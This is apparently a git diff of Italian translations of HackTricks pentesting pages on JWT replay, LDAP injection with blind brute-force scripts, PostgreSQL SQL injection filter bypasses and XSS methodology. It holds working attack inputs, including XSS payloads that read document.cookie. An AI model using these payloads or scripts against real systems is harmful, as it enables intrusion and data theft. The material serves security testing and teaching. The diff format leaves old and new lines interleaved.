La scadenza del token viene verificata utilizzando il claim Payload "exp". Dato che i JWT sono spesso utilizzati senza informazioni di sessione, è necessaria una gestione attenta. In molti casi, catturare e riprodurre il JWT di un altro utente potrebbe consentire l'usurpazione di quell'utente. Lo standard JWT RFC raccomanda di mitigare gli attacchi di replay JWT utilizzando il claim "exp" per impostare un tempo di scadenza per il token. Inoltre, è cruciale implementare controlli pertinenti da parte dell'applicazione per garantire l'elaborazione di questo valore e il rifiuto dei token scaduti. Se il token include un claim "exp" e i limiti di tempo dei test lo consentono, è consigliabile memorizzare il token e riprodurlo dopo che il tempo di scadenza è trascorso. Il contenuto del token, inclusa l'analisi del timestamp e il controllo di scadenza (timestamp in UTC), può essere letto utilizzando il flag -R di jwt_tool.
|
||||
La scadenza del token viene verificata utilizzando il claim Payload "exp". Dato che i JWT sono spesso utilizzati senza informazioni di sessione, è necessaria una gestione attenta. In molti casi, catturare e riprodurre il JWT di un altro utente potrebbe consentire l'usurpazione di quell'utente. Il RFC JWT raccomanda di mitigare gli attacchi di replay JWT utilizzando il claim "exp" per impostare un tempo di scadenza per il token. Inoltre, è cruciale che l'applicazione implementi controlli pertinenti per garantire l'elaborazione di questo valore e il rifiuto dei token scaduti. Se il token include un claim "exp" e i limiti di tempo dei test lo consentono, è consigliabile memorizzare il token e riprodurlo dopo che il tempo di scadenza è trascorso. Il contenuto del token, inclusa l'analisi del timestamp e il controllo di scadenza (timestamp in UTC), può essere letto utilizzando il flag -R di jwt_tool.
|
||||
|
||||
* Potrebbe essere presente un rischio per la sicurezza se l'applicazione continua a convalidare il token, poiché potrebbe implicare che il token non potrebbe mai scadere.
|
||||
|
||||
|
@ -255,9 +255,9 @@ La scadenza del token viene verificata utilizzando il claim Payload "exp". Dato
|
|||
|
||||
{% embed url="https://github.com/ticarpi/jwt_tool" %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se sei interessato a una **carriera nel campo dell'hacking** e a hackerare l'inviolabile - **stiamo assumendo!** (_richiesta competenza fluente in polacco, scritta e parlata_).
|
||||
Se sei interessato a una **carriera nel hacking** e a hackerare l'inviolabile - **stiamo assumendo!** (_richiesta competenza scritta e parlata in polacco_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -271,6 +271,6 @@ Altri modi per supportare HackTricks:
|
|||
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusivi [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -9,14 +9,14 @@
|
|||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se sei interessato alla **carriera nell'hacking** e vuoi hackerare l'impossibile - **stiamo assumendo!** (_richiesta competenza polacca scritta e parlata_).
|
||||
|
||||
|
@ -32,7 +32,7 @@ Se sei interessato alla **carriera nell'hacking** e vuoi hackerare l'impossibile
|
|||
[pentesting-ldap.md](../network-services-pentesting/pentesting-ldap.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
**L'iniezione LDAP** è un attacco mirato alle applicazioni web che costruiscono dichiarazioni LDAP dall'input dell'utente. Si verifica quando l'applicazione **non riesce a sanificare correttamente** l'input, consentendo agli attaccanti di **manipolare le dichiarazioni LDAP** attraverso un proxy locale, potenzialmente portando a un accesso non autorizzato o alla manipolazione dei dati.
|
||||
**L'iniezione LDAP** è un attacco mirato alle applicazioni web che costruiscono dichiarazioni LDAP dall'input dell'utente. Si verifica quando l'applicazione **non riesce a sanificare correttamente** l'input, consentendo agli attaccanti di **manipolare le dichiarazioni LDAP** attraverso un proxy locale, potenzialmente portando a accessi non autorizzati o manipolazione dei dati.
|
||||
|
||||
{% file src="../.gitbook/assets/EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf" %}
|
||||
|
||||
|
@ -49,8 +49,8 @@ Se sei interessato alla **carriera nell'hacking** e vuoi hackerare l'impossibile
|
|||
**Substring** = attr ”=” \[initial] \* \[final]\
|
||||
**Initial** = assertionvalue\
|
||||
**Final** = assertionvalue\
|
||||
**(&)** = Assoluto VERO\
|
||||
**(|)** = Assoluto FALSO
|
||||
**(&)** = VERO assoluto\
|
||||
**(|)** = FALSO assoluto
|
||||
|
||||
Per esempio:\
|
||||
`(&(!(objectClass=Impresoras))(uid=s*))`\
|
||||
|
@ -133,7 +133,7 @@ password=any
|
|||
|
||||
* [LDAP\_FUZZ](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP\_FUZZ.txt)
|
||||
* [Attributi LDAP](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt)
|
||||
* [Attributi LDAP PosixAccount](https://tldp.org/HOWTO/archived/LDAP-Implementation-HOWTO/schemas.html)
|
||||
* [Attributi PosixAccount LDAP](https://tldp.org/HOWTO/archived/LDAP-Implementation-HOWTO/schemas.html)
|
||||
|
||||
### Iniezione LDAP Blind
|
||||
|
||||
|
@ -164,7 +164,7 @@ Puoi iterare sui caratteri ascii, cifre e simboli:
|
|||
```
|
||||
### Script
|
||||
|
||||
#### **Scoprire campi LDAP validi**
|
||||
#### **Scoprire i campi LDAP validi**
|
||||
|
||||
Gli oggetti LDAP **contengono per impostazione predefinita diversi attributi** che potrebbero essere utilizzati per **salvare informazioni**. Puoi provare a **forzare tutti loro per estrarre quelle informazioni**. Puoi trovare un elenco di [**attributi LDAP predefiniti qui**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt).
|
||||
```python
|
||||
|
@ -198,7 +198,7 @@ if char == alphabet[-1]: #If last of all the chars, then, no more chars in the v
|
|||
finish = True
|
||||
print()
|
||||
```
|
||||
#### **Iniezione LDAP cieca speciale (senza "\*")**
|
||||
#### **Iniezione LDAP Blind Speciale (senza "\*")**
|
||||
```python
|
||||
#!/usr/bin/python3
|
||||
|
||||
|
@ -223,21 +223,21 @@ intitle:"phpLDAPadmin" inurl:cmd.php
|
|||
|
||||
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se sei interessato a una **carriera nel campo dell'hacking** e a hackerare l'inaccettabile - **stiamo assumendo!** (_richiesta competenza fluente in polacco, sia scritta che parlata_).
|
||||
Se sei interessato a una **carriera nel campo dell'hacking** e a violare ciò che sembra inviolabile - **stiamo assumendo!** (_richiesta competenza fluente in polacco, sia scritta che parlata_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking su AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Impara l'hacking su AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github.
|
||||
|
||||
|
|
|
@ -14,19 +14,19 @@ Altri modi per supportare HackTricks:
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se sei interessato alla **carriera dell'hacking** e vuoi hackerare l'impossibile - **stiamo assumendo!** (_richiesta competenza polacca scritta e parlata_).
|
||||
Se sei interessato alla **carriera nell'hacking** e vuoi hackerare l'impossibile - **stiamo assumendo!** (_richiesta competenza polacca scritta e parlata_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
***
|
||||
|
||||
**Questa pagina mira a spiegare diversi trucchi che potrebbero aiutarti a sfruttare un'iniezione SQL trovata in un database postgresql e a integrare i trucchi che puoi trovare su** [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md)
|
||||
**Questa pagina mira a spiegare diversi trucchi che potrebbero aiutarti a sfruttare un'iniezione SQL trovata in un database postgresql e a completare i trucchi che puoi trovare su** [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md)
|
||||
|
||||
## Interazione di Rete - Escalation dei Privilegi, Scanner di Porte, Divulgazione della risposta alla sfida NTLM & Esfiltrazione
|
||||
## Interazione di Rete - Escalation di Privilegi, Scanner di Porte, Divulgazione della risposta alla sfida NTLM & Esfiltrazione
|
||||
|
||||
Il modulo **PostgreSQL `dblink`** offre capacità per connettersi ad altri istanze di PostgreSQL ed eseguire connessioni TCP. Queste funzionalità, combinate con la funzionalità `COPY FROM`, consentono azioni come escalation dei privilegi, scansione delle porte e cattura della risposta alla sfida NTLM. Per metodi dettagliati su come eseguire questi attacchi controlla come [eseguire questi attacchi](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md).
|
||||
Il modulo **PostgreSQL `dblink`** offre capacità per connettersi ad altri istanze PostgreSQL ed eseguire connessioni TCP. Queste funzionalità, combinate con la funzionalità `COPY FROM`, consentono azioni come escalation di privilegi, scansione delle porte e cattura della risposta alla sfida NTLM. Per metodi dettagliati su come eseguire questi attacchi controlla come [eseguire questi attacchi](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md).
|
||||
|
||||
### **Esempio di esfiltrazione usando dblink e oggetti grandi**
|
||||
|
||||
|
@ -34,7 +34,7 @@ Puoi [**leggere questo esempio**](dblink-lo\_import-data-exfiltration.md) per ve
|
|||
|
||||
## Attacchi PostgreSQL: Lettura/scrittura, RCE, privesc
|
||||
|
||||
Controlla come compromettere l'host ed escalare i privilegi da PostgreSQL in:
|
||||
Controlla come compromettere l'host ed eseguire privilegi da PostgreSQL in:
|
||||
|
||||
{% content-ref url="../../../network-services-pentesting/pentesting-postgresql.md" %}
|
||||
[pentesting-postgresql.md](../../../network-services-pentesting/pentesting-postgresql.md)
|
||||
|
@ -64,13 +64,15 @@ SELECT query_to_xml('select * from pg_user',true,true,'');
|
|||
```
|
||||
**database\_to\_xml**
|
||||
|
||||
Questa funzione scaricherà l'intero database in formato XML in soli 1 record (fai attenzione se il database è molto grande in quanto potresti causare un attacco DoS o addirittura al tuo stesso client):
|
||||
Questa funzione scaricherà l'intero database in formato XML in soli 1 riga (fai attenzione se il database è molto grande in quanto potresti DoSarlo o addirittura il tuo stesso client):
|
||||
```sql
|
||||
SELECT database_to_xml(true,true,'');
|
||||
```
|
||||
### Stringhe in Esadecimale
|
||||
### Stringhe in esadecimale
|
||||
|
||||
Se puoi eseguire **query** passandole **all'interno di una stringa** (ad esempio utilizzando la funzione **`query_to_xml`**). **Puoi utilizzare `convert_from` per passare la stringa come esadecimale e bypassare i filtri in questo modo:**
|
||||
Se puoi eseguire **query** passandole **all'interno di una stringa** (ad esempio utilizzando la funzione **`query_to_xml`**), **puoi utilizzare `convert_from` per passare la stringa come esadecimale e bypassare i filtri in questo modo:**
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```sql
|
||||
select encode('select cast(string_agg(table_name, '','') as int) from information_schema.tables', 'hex'), convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573', 'UTF8');
|
||||
|
||||
|
@ -94,22 +96,22 @@ SELECT 'hacktricks';
|
|||
SELECT $$hacktricks$$;
|
||||
SELECT $TAG$hacktricks$TAG$;
|
||||
```
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se sei interessato a una **carriera nel campo dell'hacking** e a violare l'invulnerabile - **stiamo assumendo!** (_richiesta competenza fluente in polacco, sia scritta che parlata_).
|
||||
Se sei interessato a una **carriera nel campo dell'hacking** e vuoi hackerare ciò che sembra impossibile - **stiamo assumendo!** (_richiesta competenza fluente in polacco, sia scritta che parlata_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking su AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Impara l'hacking su AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github.
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,39 +1,39 @@
|
|||
# XSS (Cross Site Scripting)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se sei interessato a una **carriera nel campo dell'hacking** e vuoi hackerare ciò che sembra impossibile - **stiamo assumendo!** (_richiesta competenza nella lingua polacca scritta e parlata_).
|
||||
Se sei interessato a una **carriera nel campo dell'hacking** e vuoi hackerare ciò che sembra impossibile - **stiamo assumendo!** (_richiesta competenza fluente in polacco, sia scritta che parlata_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
## Metodologia
|
||||
|
||||
1. Verifica se **qualsiasi valore controllato da te** (_parametri_, _percorso_, _intestazioni_?, _cookie_?) viene **riflesso** nell'HTML o **utilizzato** dal codice **JS**.
|
||||
1. Verifica se **qualsiasi valore che controlli** (_parametri_, _percorso_, _intestazioni_?, _cookie_?) viene **riflesso** nell'HTML o **utilizzato** dal codice **JS**.
|
||||
2. **Trova il contesto** in cui viene riflesso/utilizzato.
|
||||
3. Se **riflesso**
|
||||
1. Verifica **quali simboli puoi utilizzare** e in base a ciò, prepara il payload:
|
||||
1. In **HTML grezzo**:
|
||||
1. Puoi creare nuovi tag HTML?
|
||||
2. Puoi utilizzare eventi o attributi che supportano il protocollo `javascript:`?
|
||||
3. Puoi eludere le protezioni?
|
||||
4. Il contenuto HTML viene interpretato da un motore JS lato client (_AngularJS_, _VueJS_, _Mavo_...), potresti sfruttare una [**Iniezione di Template lato Client**](../client-side-template-injection-csti.md).
|
||||
3. Puoi aggirare le protezioni?
|
||||
4. Il contenuto HTML viene interpretato da un motore JS lato client (_AngularJS_, _VueJS_, _Mavo_...), potresti sfruttare una [**Iniezione di Template Lato Client**](../client-side-template-injection-csti.md).
|
||||
5. Se non puoi creare tag HTML che eseguono codice JS, potresti sfruttare un [**Markup Sospeso - Iniezione HTML senza script**](../dangling-markup-html-scriptless-injection/).
|
||||
2. All'interno di un **tag HTML**:
|
||||
1. Puoi uscire dal contesto HTML grezzo?
|
||||
2. Puoi creare nuovi eventi/attributi per eseguire codice JS?
|
||||
3. L'attributo in cui sei intrappolato supporta l'esecuzione di JS?
|
||||
4. Puoi eludere le protezioni?
|
||||
3. All'interno del **codice JavaScript**:
|
||||
1. Puoi eseguire il tag `<script>`?
|
||||
2. Puoi eseguire la stringa ed eseguire codice JS diverso?
|
||||
3. I tuoi input sono in template letterali \`\`?
|
||||
4. Puoi eludere le protezioni?
|
||||
4. Puoi aggirare le protezioni?
|
||||
3. All'interno del codice **JavaScript**:
|
||||
1. Puoi evitare il tag `<script>`?
|
||||
2. Puoi evitare la stringa ed eseguire un diverso codice JS?
|
||||
3. I tuoi input sono all'interno di template letterali \`\`?
|
||||
4. Puoi aggirare le protezioni?
|
||||
4. Funzione **JavaScript** in fase di **esecuzione**
|
||||
1. Puoi indicare il nome della funzione da eseguire. ad esempio: `?callback=alert(1)`
|
||||
1. Puoi indicare il nome della funzione da eseguire. es.: `?callback=alert(1)`
|
||||
4. Se **utilizzato**:
|
||||
1. Potresti sfruttare un **DOM XSS**, presta attenzione a come il tuo input è controllato e se il tuo **input controllato è utilizzato da qualche sink.**
|
||||
1. Potresti sfruttare un **DOM XSS**, presta attenzione a come il tuo input è controllato e se il tuo **input controllato è utilizzato da qualche sink**.
|
||||
|
||||
Quando lavori su un XSS complesso, potresti trovare interessante sapere di:
|
||||
Quando lavori su un XSS complesso potrebbe interessarti sapere di più su:
|
||||
|
||||
{% content-ref url="debugging-client-side-js.md" %}
|
||||
[debugging-client-side-js.md](debugging-client-side-js.md)
|
||||
|
@ -41,29 +41,29 @@ Quando lavori su un XSS complesso, potresti trovare interessante sapere di:
|
|||
|
||||
## Valori Riflessi
|
||||
|
||||
Per sfruttare con successo un XSS, la prima cosa che devi trovare è un **valore controllato da te che viene riflessa** nella pagina web.
|
||||
Per sfruttare con successo un XSS la prima cosa che devi trovare è un **valore controllato da te che viene riflesso** nella pagina web.
|
||||
|
||||
* **Riflesso interamente**: Se scopri che il valore di un parametro o addirittura il percorso viene riflessa nella pagina web, potresti sfruttare un **XSS Riflesso**.
|
||||
* **Salvato e riflessa**: Se scopri che un valore controllato da te è salvato nel server e viene riflessa ogni volta che accedi a una pagina, potresti sfruttare un **XSS Memorizzato**.
|
||||
* **Riflesso in modo intermedio**: Se scopri che il valore di un parametro o addirittura il percorso viene riflesso nella pagina web, potresti sfruttare un **XSS Riflesso**.
|
||||
* **Salvato e riflesso**: Se scopri che un valore controllato da te è salvato nel server e viene riflesso ogni volta che accedi a una pagina, potresti sfruttare un **XSS Memorizzato**.
|
||||
* **Accesso tramite JS**: Se scopri che un valore controllato da te viene accesso utilizzando JS, potresti sfruttare un **DOM XSS**.
|
||||
|
||||
## Contesti
|
||||
|
||||
Quando cerchi di sfruttare un XSS, la prima cosa che devi sapere è **dove viene riflessa la tua input**. A seconda del contesto, sarai in grado di eseguire codice JS arbitrario in modi diversi.
|
||||
Quando cerchi di sfruttare un XSS la prima cosa da sapere è **dove viene riflesso il tuo input**. A seconda del contesto, sarai in grado di eseguire codice JS arbitrario in modi diversi.
|
||||
|
||||
### HTML Grezzo
|
||||
|
||||
Se la tua input è **riflessa nell'HTML grezzo** della pagina, dovrai sfruttare alcuni **tag HTML** per eseguire il codice JS: `<img , <iframe , <svg , <script` ... questi sono solo alcuni dei molti possibili tag HTML che potresti utilizzare.\
|
||||
Inoltre, tieni presente [Iniezione di Template lato Client](../client-side-template-injection-csti.md).
|
||||
Se il tuo input è **riflesso nella pagina HTML grezza** dovrai sfruttare alcuni **tag HTML** per eseguire codice JS: `<img , <iframe , <svg , <script` ... questi sono solo alcuni dei molti tag HTML possibili che potresti utilizzare.\
|
||||
Inoltre, tieni presente [l'Iniezione di Template Lato Client](../client-side-template-injection-csti.md).
|
||||
|
||||
### All'interno dell'attributo dei tag HTML
|
||||
|
||||
Se la tua input è riflessa all'interno del valore dell'attributo di un tag, potresti provare:
|
||||
Se il tuo input è riflesso all'interno del valore dell'attributo di un tag, potresti provare:
|
||||
|
||||
1. **Esci dall'attributo e dal tag** (quindi sarai nell'HTML grezzo) e crea un nuovo tag HTML per sfruttare: `"><img [...]`
|
||||
1. A **uscire dall'attributo e dal tag** (quindi sarai nell'HTML grezzo) e creare un nuovo tag HTML per sfruttare: `"><img [...]`
|
||||
2. Se **puoi uscire dall'attributo ma non dal tag** (`>` è codificato o eliminato), a seconda del tag potresti **creare un evento** che esegue codice JS: `" autofocus onfocus=alert(1) x="`
|
||||
3. Se **non puoi uscire dall'attributo** (`"` viene codificato o eliminato), allora a seconda di **quale attributo** riflette il tuo valore **se controlli tutto il valore o solo una parte** sarai in grado di sfruttarlo. Per **esempio**, se controlli un evento come `onclick=` sarai in grado di far eseguire codice arbitrario quando viene cliccato. Un altro esempio interessante è l'attributo `href`, dove puoi utilizzare il protocollo `javascript:` per eseguire codice arbitrario: **`href="javascript:alert(1)"`**
|
||||
4. Se la tua input è riflessa all'interno di "**tag non esplorabili**" potresti provare il trucco **`accesskey`** per sfruttare la vulnerabilità (avrai bisogno di qualche tipo di ingegneria sociale per sfruttare questo): **`" accesskey="x" onclick="alert(1)" x="`**
|
||||
3. Se **non puoi uscire dall'attributo** (`"` è codificato o eliminato), allora a seconda di **quale attributo** riflette il tuo valore e se **controlli tutto il valore o solo una parte** potrai sfruttarlo. Per **esempio**, se controlli un evento come `onclick=` sarai in grado di far eseguire codice arbitrario quando viene cliccato. Un altro **esempio** interessante è l'attributo `href`, dove puoi utilizzare il protocollo `javascript:` per eseguire codice arbitrario: **`href="javascript:alert(1)"`**
|
||||
4. Se il tuo input è riflesso all'interno di "**tag non esplorabili**" potresti provare il trucco **`accesskey`** per sfruttare la vulnerabilità (avrai bisogno di qualche tipo di ingegneria sociale per sfruttarlo): **`" accesskey="x" onclick="alert(1)" x="`**
|
||||
|
||||
Esempio strano di Angular che esegue XSS se controlli un nome di classe:
|
||||
```html
|
||||
|
@ -76,7 +76,7 @@ Esempio strano di Angular che esegue XSS se controlli un nome di classe:
|
|||
In questo caso, il tuo input viene riflessato tra i tag **`<script> [...] </script>`** di una pagina HTML, all'interno di un file `.js` o all'interno di un attributo utilizzando il protocollo **`javascript:`**:
|
||||
|
||||
* Se viene riflessato tra i tag **`<script> [...] </script>`**, anche se il tuo input è all'interno di qualsiasi tipo di virgolette, puoi provare a iniettare `</script>` ed uscire da questo contesto. Questo funziona perché il **browser analizzerà prima i tag HTML** e poi il contenuto, quindi non si accorgerà che il tuo tag `</script>` iniettato è all'interno del codice HTML.
|
||||
* Se viene riflessato **all'interno di una stringa JS** e il trucco precedente non funziona, dovrai **uscire** dalla stringa, **eseguire** il tuo codice e **ricostruire** il codice JS (se ci sono errori, non verranno eseguiti):
|
||||
* Se viene riflessato **all'interno di una stringa JS** e il trucco precedente non funziona, dovrai **uscire** dalla stringa, **eseguire** il tuo codice e **ricostruire** il codice JS (se c'è un errore, non verrà eseguito):
|
||||
* `'-alert(1)-'`
|
||||
* `';-alert(1)//`
|
||||
* `\';alert(1)//`
|
||||
|
@ -104,7 +104,7 @@ Un buon modo per scoprire se qualcosa fornito direttamente dall'utente sta cerca
|
|||
|
||||
![](<../../.gitbook/assets/image (708).png>)
|
||||
|
||||
Nel caso sia vulnerabile, potresti essere in grado di **attivare un alert** semplicemente inviando il valore: **`?callback=alert(1)`**. Tuttavia, è molto comune che questi endpoint **validino il contenuto** per consentire solo lettere, numeri, punti e trattini bassi (**`[\w\._]`**).
|
||||
Nel caso sia vulnerabile, potresti essere in grado di **scatenare un alert** semplicemente inviando il valore: **`?callback=alert(1)`**. Tuttavia, è molto comune che questi endpoint **validino il contenuto** per consentire solo lettere, numeri, punti e trattini bassi (**`[\w\._]`**).
|
||||
|
||||
Tuttavia, anche con tale limitazione è ancora possibile eseguire alcune azioni. Questo perché è possibile utilizzare quei caratteri validi per **accedere a qualsiasi elemento nel DOM**:
|
||||
|
||||
|
@ -120,7 +120,7 @@ parentElement
|
|||
```
|
||||
Puoi anche provare a **attivare le funzioni Javascript** direttamente: `obj.sales.delOrders`.
|
||||
|
||||
Tuttavia, di solito gli endpoint che eseguono la funzione indicata sono endpoint senza un DOM molto interessante, **altre pagine nella stessa origine** avranno un **DOM più interessante** per eseguire più azioni.
|
||||
Tuttavia, di solito gli endpoint che eseguono la funzione indicata sono endpoint senza un DOM molto interessante, **altre pagine nella stessa origine** avranno un DOM **più interessante** per eseguire più azioni.
|
||||
|
||||
Pertanto, per **sfruttare questa vulnerabilità in un DOM diverso** è stata sviluppata l'exploit **Same Origin Method Execution (SOME)**:
|
||||
|
||||
|
@ -174,7 +174,7 @@ Vai su [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet*
|
|||
|
||||
### Tag personalizzati
|
||||
|
||||
Se non hai trovato alcun tag HTML valido, potresti provare a **creare un tag personalizzato** ed eseguire codice JS con l'attributo `onfocus`. Nella richiesta XSS, è necessario terminare l'URL con `#` per fare sì che la pagina **si concentri su quell'oggetto** ed **esegua** il codice:
|
||||
Se non hai trovato nessun tag HTML valido, potresti provare a **creare un tag personalizzato** ed eseguire codice JS con l'attributo `onfocus`. Nella richiesta XSS, devi terminare l'URL con `#` per fare sì che la pagina **si concentri su quell'oggetto** ed **esegua** il codice:
|
||||
```
|
||||
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
|
||||
```
|
||||
|
@ -233,7 +233,7 @@ onerror=alert`1`
|
|||
### Bypass lunghezza (piccoli XSS)
|
||||
|
||||
{% hint style="info" %}
|
||||
**Altri XSS minuscoli per ambienti diversi** payload **possono essere trovati qui** e **qui**.
|
||||
**Altri piccoli XSS per ambienti diversi** il payload **può essere trovato qui** e **qui**.
|
||||
```html
|
||||
